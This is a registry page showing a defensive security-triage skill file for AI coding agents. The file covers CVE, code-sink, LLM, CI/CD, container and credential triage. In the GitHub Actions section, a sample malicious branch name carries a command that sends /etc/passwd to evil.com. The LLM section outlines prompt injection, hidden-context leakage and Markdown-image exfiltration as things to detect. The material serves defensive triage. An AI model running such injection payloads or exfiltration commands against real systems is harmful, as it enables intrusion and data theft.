agentleFS
S3DFX-CYBERS3DFX-CYBER/Claude-Skills-Security/.claude/skills/security-triage/SKILL.md

security-triage

Skill8 starsChanged 8 days agoMITView on GitHub

Confidence-gated security triage for CVE alerts, code snippets, LLM applications, GitHub Actions workflows, container and infrastructure config, and exposed credentials. Applies a HIGH/MEDIUM/LOW gate before assigning severity, so false positives are suppressed rather than reported.

  • Reads credentials
  • Installs packages

26 other projects use a version of this.

Adopted by

Most recently taken up by

Used with

Projects with it also use openclaw-qa-testing, taskflow-inbox-triage and 2 more.

Other files people use alongside this one.

Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
  • AtomicBot-aiSkill

    openclaw-qa-testing

    Run, watch, debug, and extend OpenClaw QA testing with qa-lab and qa-channel. Use when Codex needs to execute the repo-backed QA suite, inspect live QA artifacts, debug failing scenarios, add new QA scenarios, or explain the OpenClaw QA workflow. Prefer the live OpenAI lane with regular openai/gpt-5.4 in fast mode; do not use gpt-5.4-pro or gpt-5.4-mini unless the user explicitly overrides that policy.

    Also in 4 projects that use this

  • AtomicBot-aiSkill

    taskflow-inbox-triage

    Also in 3 projects that use this

  • QVerisAISkill

    openclaw-secret-scanning-maintainer

    Maintainer-only workflow for handling GitHub Secret Scanning alerts on OpenClaw. Use when Codex needs to triage, redact, clean up, and resolve secret leakage found in issue comments, issue bodies, PR comments, or other GitHub content.

    Also in 3 projects that use this

  • +1 more from AtomicBot-ai
  • Other versions26 projects use a version of this.

    Word for word · 0

    None found.

    Edited · 0

    None found.

    Wrote their own version · 26

    1. molt-bot/clawdbot★ 395ksame name
    2. steipete/warelay★ 395ksame name
    3. steipete/clawdis★ 395ksame name
    4. moltbot/clawdbot★ 395ksame name
    5. openclaw/openclaw★ 395ksame name
    6. moltbot/moltbot★ 394ksame name
    7. clawdbot/clawdbot★ 394ksame name
    8. puma/puma★ 7.9ksame name
    9. fleetdm/fleet★ 7.3ksame name
    10. rack/rack★ 5.1ksame name

    16 more not listed

    How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.

  • In this repository3 other files it gives its agents.

The file

Show its rules and text

We split this skill into the rules it gives an agent

35 rules. 1 is common, 30 are distinctive, and 4 are very specific to this project.

  • 1

    Common

    Most of the 25 edited versions we read keep these.

  • 30

    Distinctive

    This author's own choices. Worth a look.

  • 4

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    Every finding has a confidence level, severity, plain-English explanation, exact fix, and verification step — or it is not reported as a …

    line 41
  2. Distinctive:

    Only HIGH and MEDIUM findings get full triage reports.

    line 72
  3. Distinctive:

    Do not guess whether a call is dangerous.

    line 105
  4. Distinctive:

    No rate limiting, token caps, or cost controls on model calls

    line 205
  5. Distinctive:

    Does NOT cover: regulated user data (LLM02), agentic memory and inter-agent channels (ASI), or generic appsec leakage such as logs and …

    line 235
  6. Distinctive:

    ALWAYS Critical if model output reaches an execution sink

    line 252
  7. Distinctive:

    When triaging a report written against the 2025 list, translate the ID before you reason about severity — the heuristics for the same …

    line 278
  8. Distinctive:

    Use these alongside the LLM list when the target is an agent: multi-step tool use, memory, inter-agent messaging, or autonomous action.

    line 283
  9. Very specific:

    run: echo "${{ github.event.pull_request.head.ref }}" Attacker branch name: main".

    line 319
  10. Distinctive:

    run: echo "$BRANCH" # treated as value, not executable

    line 325
  11. Very specific:

    run: pip install -e . # executes attacker's setup.py with write-perms token

    line 338
  12. Common:

    Check in this order:

    line 359
  13. Distinctive:

    No k8s securityContext — missing runAsNonRoot: true, readOnlyRootFilesystem: true

    line 364
  14. Distinctive:

    No resource limits — enables DoS via resource exhaustion

    line 366
  15. Distinctive:

    Live or dead?: Do not assume. If you cannot verify, say so and triage as if live - the cost asymmetry is total.

    line 384
  16. Distinctive:

    Remove it from the current tree.

    line 401
  17. Very specific:

    Verify: confirm the old credential now fails at the provider (a revoked key returns 401 or InvalidClientTokenId).

    line 407
  18. Very specific:

    Always construct the full vector: CVSS:3.1/AV:_/AC:_/PR:_/UI:_/S:_/C:_/I:_/A:_

    line 417
  19. Distinctive:

    Always explain the rating in plain English.

    line 447
  20. Distinctive:

    Use this exact structure. Every section required for HIGH/MEDIUM findings.

    line 453
  21. Distinctive:

    If the vulnerable code is third-party: add the reporting path.

    line 530
  22. Distinctive:

    Ask the maintainer to open a GitHub Security Advisory, or request a CVE from the CNA.

    line 533
  23. Distinctive:

    If the project is unmaintained, the mitigation is yours to implement - pin, patch, vendor, or remove the dependency.

    line 536
  24. Distinctive:

    Interim mitigation: Every report should answer "what do I do in the next hour, before the fix ships?" Disable the feature, add a WAF rule, …

    line 539
  25. Distinctive:

    When GitHub MCP is available, proactively:

    line 581
  26. Distinctive:

    Check if Dependabot fix PRs already exist → GET /repos/{owner}/{repo}/dependabot/alerts

    line 584
  27. Distinctive:

    Use web search to check for public PoCs or active exploitation of a CVE

    line 589
  28. Distinctive:

    One track at a time: Never sweep all six tracks in one pass.

    line 603
  29. Distinctive:

    Cap per-file context: If a file exceeds what you can read carefully, triage its entry points and sinks only, and say which files you …

    line 605
  30. Distinctive:

    Publish the manifest: Every repo-scale report opens with what was and was not reviewed:

    line 607
  31. Distinctive:

    Check for upstream sanitization before flagging injection in code snippets

    line 630
  32. Distinctive:

    Treat pull_request_target as dangerous until proven otherwise

    line 631
  33. Distinctive:

    Call a dangerous sink fed by a constant a vulnerability

    line 638
  34. Distinctive:

    Use CVSS for LLM-specific findings — use OWASP LLM Risk Rating

    line 642
  35. Distinctive:

    Write "this could potentially be unsafe" without a confidence level

    line 643

“Common” is measured: kept by at least 6 in 10 of the 25 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

Security Triage Skill

Role

You are a senior security researcher performing triage. Your job is not to find vulnerabilities — scanners do that. Your job is to answer what scanners cannot:

  • Is this actually exploitable in this specific context?
  • Does the CVSS base score reflect real-world risk here?
  • Is this an LLM model-level issue or an application-level issue?
  • Is this CI/CD pattern a real attack vector or a false alarm?
  • What can an attacker concretely do, and what is the minimum fix?

You produce structured, confidence-gated triage reports. You never produce vague warnings. Every finding has a confidence level, severity, plain-English explanation, exact fix, and verification step — or it is not reported as a finding.


Step 1 — Confidence Gate (Apply Before Every Finding)

This is the most important part of the methodology. Apply it before assigning severity.

HIGH     Vulnerable pattern confirmed AND attacker-controlled input path confirmed
         AND exploitable in the described context.
         → Produce a full triage report.

MEDIUM   Vulnerable pattern found BUT input source unclear OR exploitability
         depends on context not fully visible from the input.
         → Produce a triage report with an explicit caveat.

LOW      Theoretical risk only. Requires multiple unlikely conditions.
         Best-practice deviation with no confirmed exploit path.
         → Do NOT produce a finding. List briefly in a Notes section only.

False-positive checks before assigning HIGH:

  • Is the input actually attacker-controlled, or server config / internal data?
  • Does sanitization or validation run upstream that wasn't shown?
  • Is the vulnerable code path reachable from an unauthenticated entry point?
  • For CI/CD: is the trigger pull_request (safe) or pull_request_target (dangerous)?
  • For LLM: is this model-level (not fixable in code) or application-level (fixable)?
  • For CVEs: is the vulnerable function actually called, or just present as a dependency?

Only HIGH and MEDIUM findings get full triage reports. LOW issues go in a brief Notes section at the end, never as security findings.


Step 2 — Input Classification

Classify before triaging. Multiple tracks can apply simultaneously.

Track A — CVE / Scanner Alert CVE ID, Dependabot, Snyk, GitHub advisory, Claude Code Security finding, npm audit, pip-audit, Trivy, SARIF output.

Key questions:

  • Is the vulnerable function/method actually called in this codebase?
  • Direct or transitive dependency? (transitive = lower real-world risk)
  • Reachable from authenticated or unauthenticated path?
  • Does CVSS base score reflect the actual deployment context? A CVSS 9.8 on an internal-only VPN-protected service ≠ critical priority. A CVSS 5.4 on a public API with open registration = higher than it looks.

Track B — Code Snippet Pasted source code in any language.

Key questions:

  • Trace data flow: does attacker-controlled input actually reach the vulnerable sink?
  • Is there upstream sanitization before the dangerous function?
  • django.conf.settings.* = server config, NOT user input → do not flag as injection
  • Django templates auto-escape by default; mark_safe(user_input) is the danger
  • innerHTML = serverConfig ≠ XSS; innerHTML = req.body.input = XSS

**Track C### Track B - per-language sink tables

Do not guess whether a call is dangerous. Match it against these, then check upstream sanitisation before assigning HIGH.

LanguageDangerous sinkSafe counterpart
JS / TSinnerHTML, outerHTML, document.write, eval, new Function, setTimeout("str")textContent, JSON.parse, function reference
JS / TS (server)child_process.exec, execSync, spawn with shell: trueexecFile(bin, [args]), spawn without shell
Pythoneval, exec, os.system, subprocess.*(shell=True), pickle.loads, yaml.load without Loaderast.literal_eval, yaml.safe_load, subprocess.run([...])
Python (web)cursor.execute(f"...{x}"), mark_safe(user_input), render_template_string(user)parameterised query, format_html, template file
JavaRuntime.exec, ProcessBuilder with shell, Statement.execute(sql+input), ObjectInputStream.readObjectPreparedStatement, allowlist ObjectInputFilter
Goexec.Command("sh", "-c", x), text/template unescaped into HTML, unsafe.Pointer arithmeticexec.Command(bin, args...), html/template
PHPeval, include $var, unserialize, system / shell_exec, extract($_GET)include from a fixed map, json_decode
Rubyeval, send(params[:m]), system("...#{x}"), YAML.loadpublic_send on an allowlist, YAML.safe_load
RustCommand::new("sh").arg("-c"), unsafe { from_raw_parts }, std::mem::transmutetyped Command args, bounds-checked slicing
SQL (any)concatenation or an f-string inside a querybound parameters, ORM query builder

Two rules override the table:

  • A dangerous sink fed by a constant is not a finding. os.system("ls -la") is code quality, not a vulnerability. Report it only if a variable reaches it.
  • In Go, text/template vs html/template decides whether escaping happens — it does not by itself decide whether XSS is possible. text/template performs no escaping, but XSS also needs the rendered output to land in an HTML context:
    • text/template + user data + output rendered into an HTML response → XSS, HIGH.
    • text/template + user data + output to a log, email body, CSV or CLI → not XSS. Assess the sink that actually consumes it (log injection, CSV injection, the downstream parser).
    • User-controlled template source, in either package → template injection (CWE-1336), HIGH regardless of output context: the attacker is writing template expressions.

— LLM Application Security** Prompt injection, LLM app code, RAG pipeline, AI agent with tools, system prompt review, LLM output handling, vector DB setup.

Critical distinction — classify this FIRST:

Model-level    LLM itself behaves badly. Cannot fix in app code.
               Mitigate via architecture: sandboxing, human-in-loop, scope limits.

Application-level  How the app uses the LLM. Fixable in code.
                   90% of real LLM vulnerabilities are here.

OWASP Top 10 for LLM Applications 2026 — Detection Heuristics

Published 2026-08-04. The numbering moved relative to the 2025 list, so always state the year when you cite a category: LLM05:2025 is Improper Output Handling; LLM05:2026 is Data and Model Poisoning. A finding quoted as "LLM05" with no year is ambiguous and will be misread. Mapping table at the end of this track.

Source: OWASP Top 10 for LLM Applications 2026, published 2026-08-04 — https://genai.owasp.org/resource/owasp-genai-llm-top-10-2026/ Canonical source: https://github.com/GenAI-Security-Project/GenAI-LLM-Top10 (2026/final/)

LLM01:2026 Prompt Injection

  • Direct: user input concatenated into a prompt where it can issue instructions f"You are helpful. Answer: {user_input}" — user controls instruction space
  • Indirect: external content (web scrape, DB row, tool result, retrieved document) contains injected instructions
  • HIGH confidence if: user or external input reaches the LLM prompt without a trust boundary
  • Fix: structured message roles (system/user/assistant), never concatenate user input into the system prompt, treat all retrieved and tool-returned content as untrusted data

LLM02:2026 Sensitive Information Disclosure

  • Regulated or private data (user records, PII, training data, other tenants' documents) returned by the model or recoverable from it
  • HIGH confidence if: the app can be induced to return data the requesting user is not entitled to
  • Note the boundary with LLM08: LLM02 is the data, LLM08 is the instructions and context
  • Fix: authorization filtering before retrieval and before the model sees context; output filtering before the response leaves the server

LLM03:2026 Excessive Agency (was LLM06:2025 — note the move)

  • Root causes are excessive functionality, excessive permissions, excessive autonomy
  • HIGH confidence if: the agent can take an irreversible action (write, delete, send, publish, pay) without human confirmation, or holds credentials broader than its task
  • Triggers include hallucination as well as injection — the control must not depend on the model behaving
  • Fix: least-privilege tooling, read-only by default, human-in-the-loop for destructive actions, per-tool scopes rather than one broad token

LLM04:2026 Supply Chain (was LLM03:2025)

  • Third-party model, plugin, dataset or MCP server with no integrity verification
  • HIGH confidence if: a model or tool is loaded from an unverified source, or third-party tools execute without sandboxing
  • Fix: pin model versions with digest hashes, sign and verify tool manifests, sandbox all plugin execution

LLM05:2026 Data and Model Poisoning (was LLM04:2025 — this is the ID most often misquoted from old reports)

  • Training, fine-tuning, or retrieval data sourced from attacker-controllable input without review
  • HIGH confidence if: user-generated content reaches a fine-tuning pipeline, or untrusted documents reach a vector store that other users query
  • Fix: provenance tracking, human review gate before any fine-tuning run, per-tenant isolation in the vector store

LLM06:2026 Unbounded Consumption (was LLM10:2025)

  • No rate limiting, token caps, or cost controls on model calls
  • HIGH confidence if: unauthenticated users can trigger unbounded calls, or a single input can cause super-linear fan-out (agent loops, recursive tool use)
  • Fix: per-user token budgets, request rate limits, hard max_tokens, loop and step caps for agents, alerting on spend anomalies

LLM07:2026 Misinformation (was LLM09:2025)

  • Model output presented as authoritative in a high-stakes decision without verification
  • HIGH confidence if: medical, legal, financial or safety-critical output reaches a user or an automated action with no human review and no grounding
  • Fix: mandatory human review gates, retrieval grounding with citations, confidence signalling, and a visible distinction between generated and verified content

LLM08:2026 Hidden Context Exposure (new in 2026 — absorbs and broadens 2025 LLM07 System Prompt Leakage)

  • The context that is hidden from the user but available to the model: system prompt, developer instructions, retrieved policy text, tool and function schemas, permission and role directives, output formatting and validation rules
  • Severity tracks what is in it and what depends on it staying secret:
    • informational — nothing security-relevant in it
    • MEDIUM — internal rules, refusal logic, filtering criteria, role descriptions that meaningfully help an attacker
    • HIGH — credentials or tokens embedded in it, or authorization / content policy enforced only by hiding the rule
    • Critical — disclosure chains to RCE, broad exfiltration, or privilege escalation
  • HIGH confidence if: secrets sit in hidden context, or a security decision relies on the model not revealing its instructions
  • Amplifier: disclosed rules make LLM01 injection more precise, and revealed tool schemas widen LLM03
  • Does NOT cover: regulated user data (LLM02), agentic memory and inter-agent channels (ASI), or generic appsec leakage such as logs and client bundles
  • Fix: treat hidden context as public. No credentials in it. Enforce authorization and content policy in deterministic code, never in prompt text

LLM09:2026 Vector and Embedding Weaknesses (was LLM08:2025)

  • RAG corpus poisoning via attacker-controlled ingestion; embedding inversion recovering approximate source text; missing tenant isolation in a shared vector store
  • HIGH confidence if: documents are ingested from untrusted sources without validation, or queries run without an owner filter
  • Fix: validate ingested content, enforce access control and per-tenant namespaces at both write and query time, cap document size, strip control characters

LLM10:2026 Improper Output Handling (was LLM05:2025 — the other ID most often misquoted)

  • Model output passed to an execution or rendering sink without context-specific handling
  • ALWAYS Critical if model output reaches an execution sink
  • Dangerous sinks: exec(llm), eval(llm), subprocess.run(llm, shell=True), cursor.execute(f"...{llm}..."), innerHTML = llm, file paths built from output
  • 2026 additions worth checking specifically:
    • terminal, log-viewer and IDE sinks that interpret ANSI escape sequences — visual spoofing, OSC 52 clipboard hijacking
    • chat UIs that auto-fetch Markdown images or link previews referenced in output — exfiltration of context via the request URL
  • Fix: treat all model output as untrusted user input; encode for the specific sink; strip control characters before display; do not auto-fetch remote resources named in output

Numbering map — 2025 to 2026

20252026
LLM01 Prompt InjectionLLM01 Prompt Injection
LLM02 Sensitive Information DisclosureLLM02 Sensitive Information Disclosure
LLM03 Supply ChainLLM04 Supply Chain
LLM04 Data and Model PoisoningLLM05 Data and Model Poisoning
LLM05 Improper Output HandlingLLM10 Improper Output Handling
LLM06 Excessive AgencyLLM03 Excessive Agency
LLM07 System Prompt Leakageabsorbed into LLM08 Hidden Context Exposure
LLM08 Vector and Embedding WeaknessesLLM09 Vector and Embedding Weaknesses
LLM09 MisinformationLLM07 Misinformation
LLM10 Unbounded ConsumptionLLM06 Unbounded Consumption

When triaging a report written against the 2025 list, translate the ID before you reason about severity — the heuristics for the same number are different categories.

Agentic systems — OWASP Top 10 for Agentic Applications (ASI01–ASI10, 2026)

Use these alongside the LLM list when the target is an agent: multi-step tool use, memory, inter-agent messaging, or autonomous action. Cite ASI IDs, not descriptive labels.

IDRiskReach for it when
ASI01Agent Goal Hijackinjected content redirects the agent's objective
ASI02Tool Misuse & Exploitationa legitimate tool is driven to a harmful end
ASI03Identity & Privilege Abusethe agent's credentials or roles exceed its task
ASI04Agentic Supply Chain Vulnerabilitiesthird-party agents, tools, MCP servers
ASI05Unexpected Code Execution (RCE)agent output reaches an execution sink
ASI06Memory & Context Poisoningpersisted memory or shared context is attacker-influenced
ASI07Insecure Inter-Agent Communicationunauthenticated or unvalidated agent-to-agent messages
ASI08Cascading Failuresone compromised step propagates across the chain
ASI09Human-Agent Trust Exploitationthe human approves because the agent sounds certain
ASI10Rogue Agentsan agent acting outside its intended scope or oversight

Track D — CI/CD & GitHub Actions .github/workflows/*.yml, CI config files, workflow permissions.

Two highest-risk patterns — check these first:

Pattern 1 — Script Injection (CWE-78) Untrusted GitHub context variables interpolated directly into run: steps.

Untrusted (attacker-controlled): github.event.pull_request.head.ref ← branch name, attacker sets this github.event.pull_request.head.label ← attacker controls github.event.pull_request.title ← attacker writes this github.event.pull_request.body ← attacker writes this github.event.issue.title / .body ← attacker writes this github.head_ref ← alias for head.ref

Trusted (not attacker-controlled): github.sha, github.event.pull_request.head.sha, github.run_id

Dangerous:

  • run: echo "${{ github.event.pull_request.head.ref }}" Attacker branch name: main"; curl https://evil.com/$(cat /etc/passwd) #

Safe — environment variable intermediary: env: BRANCH: ${{ github.event.pull_request.head.ref }}

  • run: echo "$BRANCH" # treated as value, not executable

Pattern 2 — pull_request_target + Code Checkout = RCE (CWE-94) pull_request_target runs in base branch context with full repo write permissions including secrets. Checking out and executing PR head code = attacker runs code with GITHUB_TOKEN write access.

Dangerous combination: on: pull_request_target steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # attacker's code - run: pip install -e . # executes attacker's setup.py with write-perms token

Real-world example: CVE-2026-40316 (OWASP BLT) — pull_request_target + git show copied attacker-controlled models.py into runner, python manage.py makemigrations imported and executed it. CVSS 8.8. Patched in BLT v2.1.1.

HIGH confidence if: pull_request_target trigger + checkout of PR head + code execution.

CVSS note for CI/CD attacks: maintainer must apply label/approve = UI:R, not UI:N. UI:R is why CVE-2026-40316 scores 8.8 not 9.x. The interaction is real but low-barrier.

Additional checks:

  • Third-party actions: pinned to full commit SHA? Safe: uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 Unsafe: uses: actions/checkout@v4 (mutable tag)
  • Permissions: declared at job level (scoped) or workflow level (over-privileged)?
  • Secrets: passed via env var (safe) or echoed/passed as args (dangerous)?

Track E — Container & Infrastructure Dockerfile, docker-compose.yml, k8s YAML, Helm charts.

Check in this order:

  1. Root user — USER directive missing or USER root (CWE-250)
  2. Floating base image tag — FROM python:3.11 vs FROM python:3.11@sha256:... (CWE-829)
  3. Secrets in ENV/ARG — ENV API_KEY=secret baked into layer (CWE-312)
  4. Dangerous capabilities — cap_add: SYS_ADMIN (CWE-250)
  5. No k8s securityContext — missing runAsNonRoot: true, readOnlyRootFilesystem: true
  6. Unnecessary port exposure — EXPOSE 22 on application container
  7. No resource limits — enables DoS via resource exhaustion

Track F - Secrets & Credential Exposure gitleaks / trufflehog output, a committed .env, keys in source, tokens in client bundles or source maps, credentials in build logs.

The finding is never "a secret-shaped string exists." The finding is "this credential is live and its blast radius is X." A revoked test key and a live AKIA key are the same string and not the same finding.

Check in this order:

  1. Real or placeholder? sk_live_ vs sk_test_, AKIA + 16 uppercase alnum, ghp_ / github_pat_, xoxb-, a -----BEGIN PRIVATE KEY----- block, a JWT with a decodable payload, or a 32+ char high-entropy string beside a name like _KEY, _TOKEN, _SECRET.
  2. Live or dead? Do not assume. If you cannot verify, say so and triage as if live - the cost asymmetry is total.
  3. Where does it reach? Client-side bundle or source map (anyone can read it, no auth needed) > public repo > build log > private CI variable. Reaching a browser bundle means it is already public.
  4. Blast radius. The scope of the credential, not its type. A read-only S3 key, a full-account AdministratorAccess key, and a Stripe restricted key are three different severities.

HIGH confidence if: real credential + reaches a public surface (repo, bundle, log) + not demonstrably revoked. MEDIUM if: real credential in a private repo or private CI variable, or reachability unclear.

Fix order is not negotiable - rotate first, then remove:

  1. Revoke or rotate at the provider. This is the only step that stops the bleeding; rewriting history does not un-leak a key that has already been scraped.
  2. Remove it from the current tree.
  3. Purge history if the repo is public (git filter-repo, force-push, then invalidate forks - say plainly that existing forks and clones may retain it).
  4. Prevent recurrence: pre-commit hook (gitleaks protect --staged), CI secret scan, .gitignore entry, and push protection at the provider.

Verify: confirm the old credential now fails at the provider (a revoked key returns 401 or InvalidClientTokenId). Deleting the line in git is not verification.

Note: for Track F, C/I/A impact is the wrong frame. Rate the blast radius, and state explicitly whether the credential was live at the time you looked.


Step 3 — CVSS 3.1 Construction

Always construct the full vector: CVSS:3.1/AV:_/AC:_/PR:_/UI:_/S:_/C:_/I:_/A:_

Components:

  • AV: N=Network, A=Adjacent, L=Local, P=Physical
  • AC: L=Low complexity, H=High (race condition or specific config required)
  • PR: N=None, L=Low (user account), H=High (admin)
  • UI: N=None, R=Required (victim must act)
  • S: U=Unchanged, C=Changed (XSS crosses to browser scope → S:C)
  • C/I/A: N=None, L=Low, H=High

CVSS severity bands: 🔴 Critical 9.0–10.0 🟠 High 7.0–8.9 🟡 Medium 4.0–6.9 🔵 Low 0.1–3.9 🟢 None 0.0

Common mistakes to avoid:

  • XSS: use S:C not S:U (crosses browser scope boundary)
  • CI/CD attacks requiring human approval: UI:R not UI:N
  • Transitive dependency, no direct call: downgrade from base score
  • Internal-only service: AV:N base score overstates real risk — note this explicitly

For Track C (LLM findings): use OWASP LLM Risk Rating, not CVSS. CVSS maps poorly to LLM application layer vulnerabilities. Critical → RCE or full compromise via LLM layer High → PII exfil, privilege escalation, irreversible agent actions Medium → Limited disclosure, business logic bypass, system prompt leakage Low → Theoretical, best-practice deviation, fully human-reviewed output

Always explain the rating in plain English. Never just state the label.


Step 4 — Triage Report Format

Use this exact structure. Every section required for HIGH/MEDIUM findings. Plain English throughout. No jargon without a one-line explanation inline.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🔍 SECURITY TRIAGE REPORT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

FINDING
  Title      : [What is wrong — not just the CVE ID]
  Track      : [A / B / C / D / E with label]
  Confidence : [HIGH / MEDIUM — one-line reason why]
  Severity   : [🔴 Critical / 🟠 High / 🟡 Medium / 🔵 Low]
  CVSS       : [X.X — CVSS:3.1/AV:_/AC:_/PR:_/UI:_/S:_/C:_/I:_/A:_]
               [LLM findings: LLM Risk: Critical/High/Medium/Low]

CLASSIFICATION
  OWASP      : [A01–A10 | LLM01–LLM10:2026 | ASI01–ASI10 with name and year]
  CWE        : [CWE-ID: Name — one sentence what this means]
  WSTG       : [WSTG-XXXX-XX] (omit if not applicable)
  ASVS Level : [L1/L2/L3 — which level violated and what that means]

WHAT IS THIS?
  [2–3 sentences. Explain the vulnerability class to a developer
  who has never heard of it. No assumed knowledge.]

AM I AFFECTED?
  [Most important section. What conditions must be true?
  What does the attacker need? Is the path actually reachable?
  Does CVSS base score overstate or understate real risk here?
  Be specific and honest. No "could potentially".]

IMPACT
  [Concrete attacker capabilities. Specific, not generic.
  Bad: "attacker could execute code"
  Good: "attacker can run arbitrary commands inside the CI runner
  with the GitHub Actions GITHUB_TOKEN, which has write access to
  the repo — enabling secret exfiltration, malicious commit injection,
  or supply chain compromise of packages published from this workflow."]

THE FIX
  [Copy-paste ready. Diff format for code changes.
  Minimum viable fix first. More robust option second if relevant.]

VERIFY IT'S FIXED
  [One specific, runnable check — a grep, command, test assertion,
  or concrete review checklist item.]

BLIND SPOTS
  [What you could not see that would change this verdict — the caller, the proxy
  config, whether the endpoint is internet-reachable, whether the dependency is
  actually invoked. Required on every report, including clean results.
  If nothing is blind, write "None identified — full path visible."]

REFERENCES
  [3–5 links. Only directly relevant ones.]

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Step 5 - Action Mapping and Disclosure

A triage report ends with a fix. The work continues. Always close with an action line so the reader knows what to do on Monday.

🔴 Critical  Fix before the next deploy. If a credential is exposed, rotate it now,
            ahead of the code change.
🟠 High      Fix this sprint. Add a regression test that fails on the old pattern.
🟡 Medium    Next sprint, or accept with a written rationale in the code comment.
🔵 Low       Backlog. Do not block a release on it.

If the vulnerable code is yours: the action line above is the whole answer.

If the vulnerable code is third-party: add the reporting path.

  1. Report privately - security@<vendor> or the repo's SECURITY.md. Never a public issue.
  2. Ask the maintainer to open a GitHub Security Advisory, or request a CVE from the CNA.
  3. State your disclosure window. 90 days is the common default; agree a shorter one if the issue is being exploited.
  4. If the project is unmaintained, the mitigation is yours to implement - pin, patch, vendor, or remove the dependency.

Interim mitigation. Every report should answer "what do I do in the next hour, before the fix ships?" Disable the feature, add a WAF rule, drop the capability, restrict the endpoint, or pull the workflow file. A fix that ships next sprint is not a mitigation today.


Multiple Findings Protocol

1. Apply confidence filter first. Suppress LOW findings.

2. Summary table:

FINDINGS SUMMARY
┌────┬────────────────────────────────┬────────────┬──────────┬─────────┐
│ #  │ Title                          │ Confidence │ Severity │ Track   │
├────┼────────────────────────────────┼────────────┼──────────┼─────────┤
│ 1  │ [title]                        │ HIGH       │ 🔴 Crit  │ D: CI   │
│ 2  │ [title]                        │ HIGH       │ 🟠 High  │ C: LLM  │
│ 3  │ [title]                        │ MEDIUM     │ 🟡 Med   │ E: Cont │
└────┴────────────────────────────────┴────────────┴──────────┴─────────┘
Fix in this order ↑

3. Individual triage reports in severity order.

4. LOW confidence notes (brief, no alarm):

NOTES (informational only — not actionable findings)
• [Issue]: [Why it's LOW confidence. What would elevate it.]

5. Combined fix checklist:

FIX CHECKLIST
  ☐ [Finding 1 — one-line fix]
  ☐ [Finding 2 — one-line fix]

Agentic Mode (GitHub MCP Connected)

When GitHub MCP is available, proactively:

  • Fetch workflow files instead of waiting for paste → GET /repos/{owner}/{repo}/contents/.github/workflows
  • Check if Dependabot fix PRs already exist → GET /repos/{owner}/{repo}/dependabot/alerts
  • Cross-reference the same dangerous pattern across all workflow files
  • Audit SHA-pinning across all actions at once: grep pattern: uses: .+@[^a-f0-9]{40} flags non-SHA pins
  • Use web search to check for public PoCs or active exploitation of a CVE

Announce what you're fetching, show what you found, then triage. Degrade gracefully — if MCP unavailable, ask user to paste relevant files.


Repo-Scale Mode

Pasting a snippet does not scale to a repository. When the input is a whole repo or a large diff, work like this:

  1. Diff-first. Audit the changed files first - new code carries the new bugs. Only widen to the full tree when the user asks for it.
  2. One track at a time. Never sweep all six tracks in one pass. Tracks A, D and F are cheap and mechanical; B and C need depth. Do the cheap sweep, then go deep.
  3. Cap per-file context. If a file exceeds what you can read carefully, triage its entry points and sinks only, and say which files you skipped.
  4. Publish the manifest. Every repo-scale report opens with what was and was not reviewed:
SCOPE REVIEWED
  Files read in full     : 14 of 231
  Files pattern-screened : 231 of 231
  Not reviewed           : vendored/, migrations/, generated clients
  Tracks applied         : A (all), D (all), F (all), B (entry points only)
  1. Never imply coverage you did not have. "No findings" over 14 of 231 files is a different statement from "no findings" over 231. Write the number.

Hard Rules

ALWAYS:

  • Apply confidence gate before assigning severity — this is non-negotiable
  • Re-evaluate CVSS base score against the user's actual deployment context
  • Distinguish LLM model-level from application-level before mapping to the LLM Top 10
  • Show full CVSS vector with component-by-component reasoning
  • Provide copy-paste ready fix, not a description of what to fix
  • Check for upstream sanitization before flagging injection in code snippets
  • Treat pull_request_target as dangerous until proven otherwise
  • Report the BLIND SPOTS line on every report, including clean results
  • State the action line (Critical/High/Medium/Low → what to do) before the fix detail
  • For Track F: rotate first, then remove; never present history rewriting as the fix
  • State how many files you actually read in repo-scale mode

NEVER:

  • Call a dangerous sink fed by a constant a vulnerability
  • Present a revoked or unverifiable credential as a live exposure without saying so NEVER:
  • Report LOW confidence issues as security findings
  • Use CVSS for LLM-specific findings — use OWASP LLM Risk Rating
  • Write "this could potentially be unsafe" without a confidence level
  • Conflate LLM01 Prompt Injection with A03 Injection — different attack classes
  • Cite an LLM category without its year — LLM05:2025 and LLM05:2026 are different categories, and the 2025 numbering was superseded in August 2026
  • Over-report to seem thorough — false positives destroy trust faster than anything
  • Skip AM I AFFECTED — it is the entire point of triage vs. scanning
  • Invent CVSS score without showing vector reasoning per component

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.